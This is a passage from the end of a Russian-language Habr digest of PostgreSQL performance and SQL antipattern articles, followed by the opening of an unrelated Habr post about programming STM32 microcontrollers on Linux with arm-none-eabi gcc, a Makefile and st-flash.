> Какие технические решения позволяют нам эффективно обрабатывать такой объем информации, и как это облегчает жизнь обычного разработчика.
26.03 — [**Рецепты для хворающих SQL-запросов**](/ru/post/492694/) ([видео](https://youtu.be/jHqaLp040rY?t=1192)) (**+23**, ✓143)
**...**
> Многие ситуации, которые делают запрос медленным и «прожорливым» по ресурсам, **типичны и могут быть распознаны по структуре и данным плана**.
>
>
>
> В этом случае каждому отдельному разработчику не придется искать вариант оптимизации самостоятельно, опираясь исключительно на свой опыт — мы можем ему подсказать, что тут происходит, в чем может быть причина, и **как можно подойти к решению**. Что мы и сделали.
05.06 — [**Понимаем планы PostgreSQL-запросов еще удобнее**](/ru/post/505348/) (**+25**, ✓88)
**...**
Новые возможности [explain.tensor.ru](https://explain.tensor.ru/):
* Поддержка **плана вместе с запросом**, в том числе в **JSON/YAML**-форматах
* Расширенная визуализация Planning/Execution Time и **I/O Timing**.
* Новые фичи из **PostgreSQL 13**: Planning buffers, Incremental Sort
* Улучшения **UI/UX**: скриншоттинг, рекомендации на узлах плана, удаление из архива.
29.07 — [**Вооруженным глазом: наглядно о проблемах PostgreSQL-запроса**](/ru/post/512988/) (**+32**, ✓69)
**...**
> Сегодня мы научимся определять больные места навскидку в больших и сложных планах, лишь мельком взглянув на них вооруженным глазом. В этом нам помогут **различные варианты визуализации**: сокращенный текстовый вид, круговая диаграмма, плитка, диаграмма выполнения.
10.08 — [**Правильно [c]читаем параллельные планы PostgreSQL**](/ru/post/514112/) (**+17**, ✓33)
**...**
Рассматриваем странности со временем исполнения узлов при активации параллельного выполнения.
> В наш век закончившейся «гонки мегагерцев» и победивших многоядерных и многопроцессорных систем такое поведение является непозволительной роскошью и расточительностью. Поэтому, начиная с версии PostgreSQL 9.6, при отработке запроса **часть операций может выполняться несколькими процессами** одновременно.
03.09 — [**PostgreSQL Query Profiler: как сопоставить план и запрос**](/ru/post/517652/) ([видео](https://youtu.be/jHqaLp040rY?t=2031)) (**+13**, ✓59)
**...**
Какие соображения помогают нам превращать сложно читаемый кусок лога сервера в красиво оформленный **запрос с контекстными подсказками** по соответствующим узлам плана.
29.10 — [**Анализируем «слона» по частям**](/ru/post/525592/) (**+19**, ✓24)
**...**
Очередные **улучшения юзабилити [explain.tensor.ru](https://explain.tensor.ru/)**: «гистограммы» на узлах, полезная статистика для «мега»-планов, персональный архив и «генеалогия» планов.
---
SQL Antipatterns и оптимизация SQL
----------------------------------
09.12 — [**CTE x CTE**](/ru/post/479298/) (**+8**, ✓35)
**...**
`JOIN` нескольких CTE — почти всегда зло. Небольшая заметка, как его можно избежать в конкретном примере.
> Тут надо вспомнить, что **CTE Scan является аналогом Seq Scan** — то есть никакой индексации, а только полный перебор.
>
> …
>
> В данном случае нам еще сильно повезло, что для соединения был выбран Hash Join, а не Nested Loop, поскольку тогда мы получили бы не один-единственный проход CTE Scan, а 10K!
10.12 — [**вредные JOIN и OR**](/ru/post/479508/) (**+20**, ✓108)
**...**
Разбираем на примере конкретного запроса несколько методик оптимизации и учимся использовать **«ленивые» вычисления** в PostgreSQL:
* оптимизируем `JOIN + LIMIT 1`
* `BitmapOr` vs `UNION`
* «прячем под `CASE`» сложные условия
11.12 — [**статистика всему голова**](/ru/post/479656/) (**+10**, ✓54)
**...**
> В столбце **ratio** как раз показывается отношение «в разах» между планировавшимся на основании статистики и фактически прочитанным количеством записей. **Чем больше это значение — тем хуже** статистика отражает реальное положение дел в вашей таблице.
>
>
>
> Приводит это к выбору неэффективного плана и, как следствие, дичайшей нагрузке на базу. Чтобы ее оперативно убрать, достаточно все-таки прислушаться к рекомендациям мануала и пройти `**ANALYZE**` по основным таблицам.
12.12 — [**сизифов JOIN массивов**](/ru/post/479920/) (**+14**, ✓37)
**...**
> Иногда возникает задача «склеить» внутри SQL-запроса из переданных в качестве параметров линейных массивов целостную выборку с теми же данными «по столбцам».
Вспоминаем о расширенных возможностях работы с массивами:
* `WITH ORDINALITY`
* `Multi-argument UNNEST`
19.12 — [**передача наборов и выборок в SQL**](/ru/post/481122/) (**+8**, ✓95)
**...**
> Периодически у разработчика возникает необходимость **передать в запрос набор параметров или даже целую выборку** «на вход». Иногда попадаются очень странные решения этой задачи.
Сравниваем разные варианты передачи данных в запрос:
* сериализованное представление массива/матрицы + `unnest`
* JSON + `json_populate_recordset/json_to_recordset`
* `TEMPORARY TABLE`
* переменные сессии
24.12 — [**обновляем большую таблицу под нагрузкой**](/ru/post/481610/) (**+14**, ✓126)
**...**
> Как стоит поступить (а как точно не надо), если в «многомиллионной» активно используемой таблице PostgreSQL нужно **обновить большое количество записей** — проинициализировать значение нового поля или скорректировать ошибки в существующих записях? А при этом сохранить свое время и не потерять деньги компании из-за простоя.
Почему «один `UPDATE`» и `ORDER BY + LIMIT` — это печально для подобной задачи, а сегментное обновление и предварительно рассчитанные вычисления — в самый раз.
20.01 — [**редкая запись долетит до середины JOIN**](/ru/post/484670/) (**+18**, ✓119)
**...**
> Если писать **SQL-запросы без анализа алгоритма**, который они должны реализовать, ни к чему хорошему с точки зрения производительности это обычно не приводит.
>
>
>
> Такие запросы **любят «кушать» процессорное время и активно почитывать данные** практически на ровном месте. Причем, это вовсе не обязательно какие-то сложные запросы, наоборот — чем проще он написан, тем больше шансов получить проблемы. А уж если в дело вступает оператор JOIN…
Разбираем на моделях способы оптимизации `JOIN + GROUP BY` и `JOIN + LIMIT` с помощью `**CASE**` и `**LATERAL**`.
27.01 — [**ударим словарем по тяжелому JOIN**](/ru/post/485398/) (**+8**, ✓107)
**...**
> Итоговые выводы:
>
>
>
> * если надо сделать **JOIN с многократно повторяющимися записями** — лучше использовать «ословаривание» таблицы
> * если ваш словарь ожидаемо **маленький и читать вы из него будете немного** — можно использовать json[b]
> * во всех остальных случаях **hstore + array\_agg(i::text)** будет эффективнее
>
02.03 — [**меняем данные в обход триггера**](/ru/post/489900/) (**+24**, ✓61)
**...**
> Например, на таблице, в которой вам надо что-то поправить, висит злобный триггер ON UPDATE, переносящий все изменения в какие-нибудь агрегаты. А вам надо все пообновлять (новое поле проинициализировать, например) так аккуратно, чтобы эти агрегаты не затронулись.
Почему «быстро отключить и снова включить триггер» — плохая идея. Как его обойти с помощью переменных сессии.
10.03 — [**сказ об итеративной доработке поиска по названию**](/ru/post/491162/) (**+17**, ✓82)
**...**
> Что вообще обычно подразумевает пользователь, когда говорит про «быстрый» поиск по названию? Почти никогда это не оказывается «честный» поиск по подстроке типа `... LIKE '%роза%'` — ведь тогда в результат попадают не только `'Розалия'` и `'Магазин Роза'`, но и `'Гроза'` и даже `'Дом Деда Мороза'`.
>
>
>
> Пользователь же подразумевает на бытовом уровне, что вы ему обеспечите **поиск по началу слова** в названии и покажете более релевантным то, что **начинается на** введенное. И сделаете это **практически мгновенно** — при подстрочном вводе.
Как ищут строки: pg\_trgm, FTS, `text_pattern_ops`, `btree + UNION ALL`. И как можно неаккуратно все разломать: пейджинг, подзапросы, `DISTINCT`.
12.03 — [**сражаемся с ордами «мертвецов»**](/ru/post/491366/) (**+32**, ✓106)
**...**
Как оградить свои `UPDATE`'ы от лишней работы с диском и блокировок с помощью объединения операций и `**IS DISTINCT FROM**`.
31.03 — [**вычисление условий в SQL**](/ru/post/494776/) (**+26**, ✓65)
**...**
> SQL — это не C++, и не JavaScript. Поэтому вычисление логических выражений происходит иначе.
* ускоряем триггер за счет выноса проверки из функции в `**WHEN**`.
* оптимизируем `OR/AND`-цепочку с помощью `**CASE**`
* упрощаем написание сложных условий
27.04 — [**навигация по реестру**](/ru/post/498740/) (**+22**, ✓74)
**...**
> Все будет очень просто, на уровне Капитана Очевидность — делаем **просмотр реестра событий** с сортировкой по времени.
* плохо: считать сегменты на бизнес-логике
* плохо: использовать `LIMIT + OFFSET`
* хорошо: использовать «курсоры», но делать это аккуратно
14.05 — [**насколько глубока кроличья нора? пробежимся по иерархии**](/ru/post/501614/) (**+19**, ✓83)
**...**
> В сложных ERP-системах **многие сущности имеют иерархическую природу**, когда однородные объекты выстраиваются в **дерево отношений «предок — потомок»** — это и организационная структура предприятия (все эти филиалы, отделы и рабочие группы), и каталог товаров, и участки работ, и география точек продаж, ...
Пишем сложный запрос, чтобы извлекать минимум данных при проходах по «дереву».
24.06 — [**подозрительные типы**](/ru/post/508038/) (**+40**, ✓60)
**...**
> Типизация данных в PostgreSQL, при всей своей логичности, действительно преподносит порой очень странные сюрпризы. В этой статье мы постараемся прояснить некоторые их причуды, разобраться в причине их странного поведения и понять, как не столкнуться с проблемами в повседневной практике.
28.06 — [**накручиваем себе проблемы**](/ru/post/507688/) (**+21**, ✓56)
**...**
Рассматриваем причины накрутки `serial` при `ON CONFLICT` и счетчика транзакций при `ROLLBACK`.
08.07 — [**SELF JOIN vs WINDOW**](/ru/post/508184/) (**+14**, ✓32)
**...**
Ускоряем запрос в 100 раз с помощью **оконных функций** на примере мониторинга блокировок.
14.07 — [**Unreal Features of Real Types, или Будьте осторожны с REAL**](/ru/post/508350/) (**+9**, ✓10)
**...**
> Я решил бегло пробежаться по коду доступных мне SQL-запросов, чтобы посмотреть, насколько часто в них используется тип REAL. Достаточно часто используется, как оказалось, и не всегда разработчики понимают опасности, стоящие за ним. И это несмотря на то, что в Интернете и на Хабре достаточно много хороших статей про особенности хранения вещественных чисел в машинной памяти и о работе с ними. Поэтому в этой статье я постараюсь применить такие особенности к PostgreSQL, и попробую «на пальцах» рассмотреть связанные с ними неприятности, чтобы разработчикам SQL-запросов было легче избежать их.
04.08 — [**«Должен остаться только один!»**](/ru/post/513324/) (**+24**, ✓80)
**...**
> Сегодня на предельно простых примерах посмотрим, к чему это может приводить в контексте использования `GROUP/DISTINCT` и `LIMIT` вместе с ними.
>
>
>
> Вот если вы написали в запросе *«сначала соедини эти таблички, а потом выкинь все дубли, **должен остаться только один** экземпляр по каждому ключу»* — именно так и будет работать, даже если соединение вовсе не было нужно.
20.08 — [**уникальные идентификаторы**](/ru/post/515786/) (**+21**, ✓67)
**...**
Рассматриваем эффективность и проблемы различных способов получить уникальные идентификаторы в базе и их проблемы:
* таблица счетчиков
* объект `SEQUENCE`
* псевдотип `serial`
* `GENERATED`-столбцы
* генерируемый UUID
* скрытые системные поля: `tableoid/ctid/oid`
* «честное» время `clock_timestamp`
01.10 — [**«Бесконечность — не предел!», или Немного о рекурсии**](/ru/post/521344/) (**+18**, ✓47)
**...**
> [Рекурсия](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%BA%D1%83%D1%80%D1%81%D0%B8%D1%8F#%D0%92_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B8) — очень мощный и удобный механизм, если над связанными данными делаются одни и те же действия «вглубь». Но неконтролируемая рекурсия — зло, которое может приводить или к **бесконечному выполнению** процесса, или (что случается чаще) к **«выжиранию» всей доступной памяти**.
>
>
>
> СУБД в этом отношении работают по тем же принципам — "*сказали копать, я и копаю*". Ваш запрос может не только затормозить соседние процессы, постоянно занимая ресурсы процессора, но и «уронить» всю базу целиком, «съев» всю доступную память. Поэтому **защита от бесконечной рекурсии** — обязанность самого разработчика.
07.10 — [**убираем медленные и ненужные сортировки**](/ru/post/522114/) (**+27**, ✓91)
**...**
> «Просто так» результат SQL-запроса возвращает записи в том порядке, который наиболее удобен серверу СУБД. Но человек гораздо лучше воспринимает хоть как-то упорядоченные данные — это помогает быстро сравнивать соответствие различных датасетов.
>
>
>
> Поэтому со временем у разработчика может выработаться рефлекс *«Дай-ка я **на всякий случай** это вот отсортирую!»*
Учимся опознавать типовые кейсы и делаем запрос чуть быстрее:
* нехватка work\_mem
* сортировка уже отсортированного
* вложенная отладочная сортировка
* Index Scan вместо сортировки
* UNION ALL вместо сортировки
* сортировки для оконных функций
10.11 — [**работаем с отрезками в «кровавом энтерпрайзе»**](/ru/post/526624/) (**+27**, ✓64)
**...**
> Давайте посмотрим, какие именно прикладные задачи и как можно **решить с помощью PostgreSQL** и сократить время анализа данных с нескольких секунд на бизнес-логике до десятков миллисекунд, умея эффективно применять следующие алгоритмы непосредственно внутри SQL-запроса:
>
>
>
> * поиск отрезков, пересекающих точку/интервал
> * слияние отрезков по максимальному перекрытию
> * подсчет количества отрезков в каждой точке
>
18.11 — [**DBA-детектив, или Три дела о потерянной производительности**](/ru/post/527700/) ([видео](https://youtu.be/wscdeLbglqA)) (**+16**, ✓45)
**...**
> Дедукция и индукция помогут нам вычислить, что же все-таки хотел получить от СУБД разработчик, и почему это получилось не слишком оптимально. Итак, сегодня нас ждут:
>
>
>
> * **Дело о непростом пути вверх**
>
> Разберем в [live-видео](https://youtu.be/wscdeLbglqA) на реальном примере некоторые из способов улучшения производительности иерархического запроса.
> * **Дело о худеющем запросе**
>
> Увидим, как можно запрос упростить и ускорить в несколько раз, пошагово применяя стандартные методики.
> * **Дело о развесистой клюкве**
>
> Восстановим структуру БД на основании единственного запроса с 11 `JOIN` и предложим альтернативный вариант решения на ней той же задачи.
>
---
SQL HowTo
---------
30.12 — [**рисуем морозные узоры на SQL**](/ru/post/482460/) (**+24**, ✓52)
**...**
> Немного SQL-магии: математика, рекурсия, псевдографика.
13.01 — [**собираем «цепочки» с помощью window functions**](/ru/post/483460/) (**+11**, ✓40)
**...**
> Иногда при анализе данных возникает **задача выделения «цепочек» в выборке** — то есть упорядоченных последовательностей записей, для каждой из которых выполняется некоторое условие.
>
>
>
> Традиционные решения предусматривают разные варианты «self join», когда выборка соединяется с собой же, либо использование некоторых фактов «за пределами данных» — например, что записи должны иметь строго определенный шаг (N+1, «за каждый день», ...).
>
>
>
> Первый вариант зачастую приводит к **квадратичной сложности** алгоритма от количества записей, что [недопустимо на больших выборках](https://habr.com/ru/post/479298/), а второй **может легко «развалиться»**, если каких-то отсчетов в исходных данных вдруг не окажется.
>
>
>
> Но эту задачу нам помогут эффективно решить [оконные функции](https://postgrespro.ru/docs/postgresql/12/functions-window) в PostgreSQL.
31.01 — [**пишем while-цикл прямо в запросе, или «Элементарная трехходовка»**](/ru/post/486072/) (**+8**, ✓97)
**...**
> Периодически возникает задача поиска связанных данных по набору ключей, **пока не наберем нужное суммарное количество записей**.
>
>
>
> В статье рассмотрим реализацию на PostgreSQL «наивного» варианта решения такой задачи, «поумнее» и совсем сложный алгоритм «цикла» на SQL с условием выхода от найденных данных, который может быть полезен как для общего развития, так и для применения в других похожих случаях.
19.06 — [**1000 и один способ агрегации**](/ru/post/507056/) (**+12**, ✓74)
**...**
> Рассмотрим некоторые способы, с помощью которых можно вычислить агрегаты в PostgreSQL или ускорить выполнение SQL-запроса.
* совместные агрегаты
* вложенные запросы
* `FILTER`-агрегаты
* агрегаты от условия
* агрегация в массив
* `DISTINCT + OVER`
* сложный агрегат с помощью рекурсии
28.07 — [**красивые отчеты по «дырявым» данным — GROUPING SETS**](/ru/post/511238/) (**+8**, ✓28)
**...**
> В этой статье рассмотрим, как все это можно экономично расположить в БД, и как максимально эффективно собрать по этим данным отчет с помощью **оконных функций и `GROUPING SETS`**.
>
>
>
> Чтобы сэкономить производительность дисковой подсистемы нашей базы и занимаемый базой объем, постараемся **как можно больше данных представить в виде NULL** — их хранение практически «бесплатно», поскольку занимает лишь бит в заголовке записи.
05.09 — [**курсорный пейджинг с неподходящей сортировкой**](/ru/post/517920/) (**+18**, ✓64)
**...**
> Пусть у нас есть реестр документов, с которым работают операторы или бухгалтеры. Традиционно, при подобном отображении используется или прямая (новые снизу) или обратная (новые сверху) **сортировка по дате и порядковому идентификатору**, назначаемому при создании документа — `ORDER BY dt, id` или `ORDER BY dt DESC, id DESC`.
>
>
>
> Но что если пользователю зачем-то захотелось «нетипичного» — например, отсортировать **одно поле «так», а другое «этак»** — `ORDER BY dt, id **DESC**`? Но второй индекс мы создавать не хотим — ведь это замедление вставки и лишний объем в базе.
>
>
>
> Можно ли решить эту задачу, эффективно используя только индекс `**(dt, id)**`?
23.09 — [**PostgreSQL 13: happy pagination WITH TIES**](/ru/post/520294/) (**+40**, ✓45)
**...**
Используем новые возможности PostgreSQL 13 для упрощения организации постраничной навигации по реестру.
19.10 — [**ломаем мозг об дерево — упорядочиваем иерархию с рекурсией и без**](/ru/post/523812/) (**+16**, ✓62)
**...**
> … чтобы для вывода **упорядочить элементы дерева в соответствии с иерархией**, уж точно придется воспользоваться рекурсией! Или нет? Давайте разберемся, а заодно решим на SQL пару комбинаторных задач.
---
DBA
---
20.12 — [**вычищаем клон-записи из таблицы без PK**](/ru/post/481352/) (**+13**, ✓45)
**...**
> Случаются ситуации, когда в **таблицу без первичного ключа** или какого-то другого уникального индекса по недосмотру попадают полные клоны уже существующих записей.
>
>
>
> Например, пишутся в PostgreSQL COPY-потоком значения хронологической метрики, а потом внезапный сбой, и часть полностью идентичных данных приходит повторно.
>
>
>
> Как избавить базу от ненужных клонов?
25.12 — [**когда пасует VACUUM — чистим таблицу вручную**](/ru/post/481866/) (**+21**, ✓98)
**...**
> `VACUUM` может «зачистить» из таблицы в PostgreSQL только то, что **никто не может увидеть** — то есть нет ни одного активного запроса, стартовавшего раньше, чем эти записи были изменены.
>
>
>
> А если такой неприятный тип (продолжительная OLAP-нагрузка на OLTP-базе) все же есть? Как **почистить активно меняющуюся таблицу** в окружении длинных запросов и не наступить на грабли?
15.01 — [**перенос значений SEQUENCE между базами PostgreSQL**](/ru/post/483424/) (**+11**, ✓43)
**...**
> Как можно перенести в другую PostgreSQL-базу **последнее назначавшееся значение** «автоинкремент»-поля типа serial, если в таблице могли быть какие-то удаления, и «просто подставить max(pk)» уже не подходит?
>
>
19.02 — [**находим бесполезные индексы**](/ru/post/488104/) (**+19**, ✓114)
**...**
> Регулярно сталкиваюсь с ситуацией, когда многие разработчики искренне полагают, что индекс в PostgreSQL — это такой швейцарский нож, который универсально помогает с любой проблемой производительности запроса. Достаточно добавить ***какой-нибудь новый индекс*** на таблицу или ***включить поле куда-нибудь*** в уже существующий, а дальше (магия-магия!) все запросы будут эффективно таким индексом пользоваться.
>
>
>
> Во-первых, конечно, или не будут, или не эффективно, или не все. Во-вторых, лишние индексы только добавят проблем с производительностью при записи.
19.03 — [**грамотно организовываем синхронизации и импорты**](/ru/post/492464/) (**+11**, ✓48)
**...**
> При сложной обработке больших наборов данных (разные [ETL-процессы](https://ru.wikipedia.org/wiki/ETL): импорты, конвертации и синхронизации с внешним источником) часто возникает необходимость **временно «запомнить», и сразу быстро обработать** что-то объемное.
>
>
>
> Чтобы справиться с ними в PostgreSQL (да и не только в нем), можно использовать некоторые возможности для оптимизаций, которые позволят обработать все быстрее и с меньшим расходом ресурсов.
20.05 — [**мониторинг базы PostgreSQL — кто виноват, и что делать**](/ru/post/502478/) (**+23**, ✓100)
**...**
На что обращать внимание при мониторинге PostgreSQL-базы и как трактовать полученные данные:
* состояние соединений
* блокировки
* transactions per second (TPS)
* количество операций над записями
* использование кэша данных
* самый длительный запрос/транзакция
27.05 — [**в погоне за пролетающими блокировками**](/ru/post/503680/) (**+18**, ✓41)
**...**
> Шансов **поймать блокировки «в моменте»** крайне мало, да и длиться они могут всего по несколько секунд, но ухудшая при этом плановое время выполнения запроса в десятки раз. А хочется-то не сидеть и ловить происходящее в онлайн-режиме, а в спокойной обстановке разобраться постфактум, ~~кого из разработчиков покарать~~ в чем именно была проблема — кто, с кем и из-за какого ресурса базы вступил в конфликт.
>
>
>
> Но как? Ведь, в отличие от запроса с его планом, который [позволяет детально понять](https://habr.com/ru/post/477624/), на что пошли ресурсы, и сколько времени это заняло, подобных **наглядных следов блокировка не оставляет** после себя…
>
>
>
> Разве что короткую запись в логе: `> process ... **still waiting for** ...` А давайте попробуем зацепиться именно за нее!
10.06 — [**классифицируем ошибки из PostgreSQL-логов**](/ru/post/505810/) (**+9**, ✓38)
**...**
> Если мы не хотим потом хвататься за голову, то возникающие в логах PostgreSQL ошибки недостаточно просто «считать поштучно» — их надо аккуратно классифицировать. Но для этого нам придется решить нетривиальную задачу **индексированного поиска регулярного выражения**, наиболее подходящего для строки.
15.06 — [**кто скрывается за блокировкой**](/ru/post/506360/) (**+11**, ✓48)
**...**
> Научимся трактовать собранные блокировки и узнавать, кто именно может скрываться за конкретной матрицей конфликтов, и почему результат выглядит именно так.
---
Решения для PostgreSQL
----------------------
09.01 — [**БД мессенджера (ч.1): проектируем каркас базы**](/ru/post/483176/) (**+3**, ✓62)
**...**
> Как можно перевести бизнес-требования в конкретные структуры данных на примере проектирования «с нуля» базы для мессенджера.
09.01 — [**БД мессенджера (ч.2): секционируем «наживую»**](/ru/post/483170/) (**+5**, ✓67)
**...**
> Мы удачно спроектировали структуру нашей PostgreSQL-базы для хранения переписки, прошел год, пользователи активно ее наполняют, вот в ней уже **миллионы записей**, и… что-то все начало подтормаживать.
>
>
>
> Дело в том, что **с ростом объема таблицы растет и «глубина» индексов** — хоть и логарифмически. Но со временем это заставляет сервер для выполнения тех же задач чтения/записи *обрабатывать в разы больше страниц данных*, чем в начале.
>
>
>
> Вот тут на помощь и приходит **секционирование**. Мы рассмотрим не конкретные скрипты для реализации секционирования «в железе», а сам подход — что и как стоит «порезать на дольки», и к чему такое желание приводит.
22.01 — [**PubSub почти бесплатно: особенности NOTIFY в PostgreSQL**](/ru/post/484978/) (**+20**, ✓76)
**...**
> Если ваши микросервисы уже используют общую базу PostgreSQL для хранения данных, или ей пользуются несколько экземпляров одного сервиса на разных серверах, можно относительно **«дешево» получить возможность обмена сообщениями** (PubSub) между ними без интеграции в архитектуру Redis, RabbitMQ-кластера или встройки в код приложения [другой MQ-системы](https://habr.com/ru/post/326880/).
>
>
>
> Для этого мы **не будем писать** [сообщения в таблицы БД](https://habr.com/ru/post/483014/), поскольку это вызывает слишком большие накладные расходы сначала на [запись передаваемого](https://habr.com/ru/company/postgrespro/blog/459250/), а потом еще и на [зачистку от уже прочитанного](https://habr.com/post/481866/).
>
>
>
> Передавать и получать данные мы станем с помощью механизма [NOTIFY](https://postgrespro.ru/docs/postgresql/12/sql-notify)/[LISTEN](https://postgrespro.ru/docs/postgresql/12/sql-listen), а модельную реализацию соберем для Node.js.
13.02 — [**Фантастические advisory locks, и где они обитают**](/ru/post/488024/) (**+11**, ✓34)
**...**
> В PostgreSQL существует очень удобный [механизм рекомендательных блокировок](https://postgrespro.ru/docs/postgresql/12/explicit-locking#ADVISORY-LOCKS), они же — **advisory locks**. Мы в «Тензоре» используем их во многих местах системы, но мало кто детально понимает, как конкретно они работают, и **какие проблемы можно получить при неправильном обращении**.
13.04 — [**Пишем в PostgreSQL на субсветовой: 1 host, 1 day, 1TB**](/ru/post/497008/) (**+19**, ✓78)
**...**
Рассматриваем традиционные подходы масштабирования производительности на конкретном примере:
* Секционирование
* Эволюция и рефакторинг БД
* «Размазываем» пиковую нагрузку
* Кэшируем, что можно
> «Терабайт-в-сутки» только звучит страшно. Если вы все делаете правильно, то это всего лишь **2^40 байт / 86400 секунд = ~12.5MB/s**, что держали даже настольные IDE-винты. :)
>
>
>
> А если серьезно, то даже при десятикратном «перекосе» нагрузки в течение суток, вы спокойно можете уложиться в возможности современных SSD.
22.04 — [**Экономим копеечку на больших объемах в PostgreSQL**](/ru/post/498292/) (**+11**, ✓44)
**...**
> Продолжая тему записи больших потоков данных, поднятую [предыдущей статьей про секционирование](https://habr.com/ru/post/497008/), в этой рассмотрим способы, которыми можно **уменьшить «физический» размер хранимого** в PostgreSQL, и их влияние на производительность сервера.
>
>
>
> Речь пойдет про **настройки TOAST и выравнивание данных**. «В среднем» эти способы позволят сэкономить не слишком много ресурсов, зато — вообще без модификации кода приложения.
03.06 — [**Как мы в СБИС автоматический расчет себестоимости делали**](/ru/post/504446/) ([видео](https://youtu.be/-lT9yuPAroA)) (**+7**, ✓17)
**...**
> Как суровую прагматику требований бизнеса перенести на разработку высоконагруженных сервисов, как бороться с конкурентным доступом к данным, как это все аккуратно обходить и при этом не «отстрелить себе ногу».
17.08 — [**У меня зазвонил телефон. Кто говорит?.. Поможет «слон»**](/ru/post/514970/) (**+10**, ✓29)
**...**
> Автоматическое определение клиента и его региона по входящему телефонному звонку стало неотъемлемой частью любой развитой HelpDesk или CRM-системы. Только **надо уметь делать это быстро** — тогда появляется масса возможностей.
25.08 — [**Телепортация тонн данных в PostgreSQL**](/ru/post/516384/) (**+11**, ✓60)
**...**
Выжимаем максимум пропускной способности из PostgreSQL:
* Как балансировать «писателей» и управлять соединениями на бизнес-логике?
* Как настроить СУБД и ОС?
* Как избавиться от блокировок?
---
Если вам интересна какая-то конкретная тема, которую мы еще не затронули — напишите в комментариях. Вдруг мы с ней тоже уже сталкивались — расскажем подробно. | https://habr.com/ru/post/529624/ | null | ru | null |
# STM32 + linux
Для разработки системы управления одной железякой после длительных поисков мною был выбран ARM-микроконтроллер семейства STM32 — STM32F103 (в «стоножечном» исполнении). А в качестве макетки для разработки и отладки — STM32P103 (там ножек хоть и меньше, но ядро то же самое). «Истории успеха» я понемногу выкладывал в своей ЖЖшке, но вот решил собрать все воедино и рассказать о том, каково же оно — программировать микроконтроллеры в линуксе. Сам проект лежит на [sourceforge](https://sourceforge.net/projects/ircontroller/).
Прежде всего коснусь общего, а потом уже перейду к деталям.
Итак, помимо макетки (или же готового устройства — когда оно будет готово) потребуется JTAG-адаптер. В моем случае это — ST-LINK/V2. Одного железа, естественно, недостаточно: надо еще как-то код компилировать, а потом еще и заливать на контроллер. Для этого были установлены компилятор gcc для ARM (arm-none-eabi) и утилита для работы с ST-LINK (она так и называется — stlink).
В качестве образца я взял [этот проект](https://github.com/h0rr0rrdrag0n/stm32vldiscovery-linux-template). [Отсюда](https://www.olimex.com/Products/ARM/ST/STM32-P103/) я скачал простенькие демонстрационные проекты и попробовал скомпилировать простейший. А самым первым оказался стандартный Helloworld для МК: мигание светодиодом.
Сразу скажу, на какие грабли я напоролся с самого начала: я забыл про objcopy, без которого получить работающий код будет сложновато. После компиляции проекта обязательно надо создать бинарник при помощи этой утилиты. И не стоит выкидывать из Makefile'ов непонятных (и вроде бы даже ненужных на первый взгляд) целей.
В качестве удобного IDE я использую Geany. Так как на работе у меня два монитора, довольно удобно работать: на одном мониторе у меня открыт Geany с кодом, а на втором — терминал, где я запускаю make и com (терминал из tinyserial).
Весь Makefile я рассматривать не буду, обращу лишь внимание на то, что в нем следует менять:
**Код**
```
BIN=testproject
…
STM32_LIBSRC+=stm32_lib/misc.c
STM32_LIBSRC+=stm32_lib/stm32f10x_adc.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_bkp.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_can.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_cec.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_crc.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_dac.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_dbgmcu.c
STM32_LIBSRC+=stm32_lib/stm32f10x_dma.c
STM32_LIBSRC+=stm32_lib/stm32f10x_exti.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_flash.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_fsmc.c
STM32_LIBSRC+=stm32_lib/stm32f10x_gpio.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_i2c.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_it.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_iwdg.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_pwr.c
STM32_LIBSRC+=stm32_lib/stm32f10x_rcc.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_rtc.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_sdio.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_spi.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_tim.c
STM32_LIBSRC+=stm32_lib/stm32f10x_usart.c
#~ STM32_LIBSRC+=stm32_lib/stm32f10x_wwdg.c
…
SRC=hw_config.c main.c leds.c interrupts.c usb_desc.c usb_istr.c \
usb_prop.c usb_pwr.c onewire.c
…
#~ OBJ+=stm32f10x_bkp.o
#~ OBJ+=stm32f10x_can.o
#~ OBJ+=stm32f10x_cec.o
#~ OBJ+=stm32f10x_crc.o
#~ OBJ+=stm32f10x_dac.o
#~ OBJ+=stm32f10x_dbgmcu.o
OBJ+=stm32f10x_dma.o
OBJ+=stm32f10x_exti.o
#~ OBJ+=stm32f10x_flash.o
#~ OBJ+=stm32f10x_fsmc.o
OBJ+=stm32f10x_gpio.o
#~ OBJ+=stm32f10x_i2c.o
#~ OBJ+=stm32f10x_it.o
#~ OBJ+=stm32f10x_iwdg.o
#~ OBJ+=stm32f10x_pwr.o
OBJ+=stm32f10x_rcc.o
#~ OBJ+=stm32f10x_rtc.o
#~ OBJ+=stm32f10x_sdio.o
#~ OBJ+=stm32f10x_spi.o
#~ OBJ+=stm32f10x_tim.o
OBJ+=stm32f10x_usart.o
#~ OBJ+=stm32f10x_wwdg.o
```
* BIN — имя получающегося после компиляции бинарника
* STM32\_LIBSRC и OBJ содержат подключаемые файлы библиотеки STDPeriphLib, неиспользуемые надо закомментировать
* SRC сдоержит перечень пользовательских исходников
После того, как код написан, запускаем make. Если все в порядке, в текущей директории появится файл $(BIN).bin, который и нужно записать во флеш-память МКшки. Запись выполняется при помощи make load: эта цель сборки просто вызывает st-flash для прошивки микроконтроллера.
### USB
